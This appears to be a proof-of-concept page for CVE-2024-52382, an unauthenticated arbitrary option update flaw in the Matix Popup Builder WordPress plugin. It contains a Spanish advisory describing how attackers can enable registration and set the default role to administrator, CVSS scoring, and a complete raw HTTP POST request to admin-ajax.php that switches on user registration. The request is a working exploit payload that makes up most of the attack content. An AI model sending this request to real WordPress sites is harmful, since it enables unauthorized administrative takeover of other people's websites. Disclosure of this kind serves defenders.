randomrobbiebf/cve-2024-52382Matix Popup Builder <= 1.0.0 - Actualización arbitraria de opciones no autenticada
Matix Popup Builder <= 1.0.0 - Actualización no autenticada de opciones arbitrarias
El plugin Matix Popup Builder para WordPress es vulnerable a la modificación no autorizada de datos que puede provocar una escalada de privilegios debido a la falta de una verificación de capacidad en una función en todas las versiones hasta la 1.0.0 inclusive. Esto permite que atacantes no autenticados actualicen opciones arbitrarias en el sitio WordPress. Esto se puede aprovechar para actualizar el rol predeterminado de registro a administrador y habilitar el registro de usuarios para que los atacantes obtengan acceso de usuario administrativo a un sitio vulnerable.
Score: 9.8
Vendors: Medma Technologies
Products: Matix Popup Builder
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Interaction: none
Privileges: none
Attack Vector: network
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=4
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
action=medma_mtx_insertContentValue&option_name=users_can_register&content=1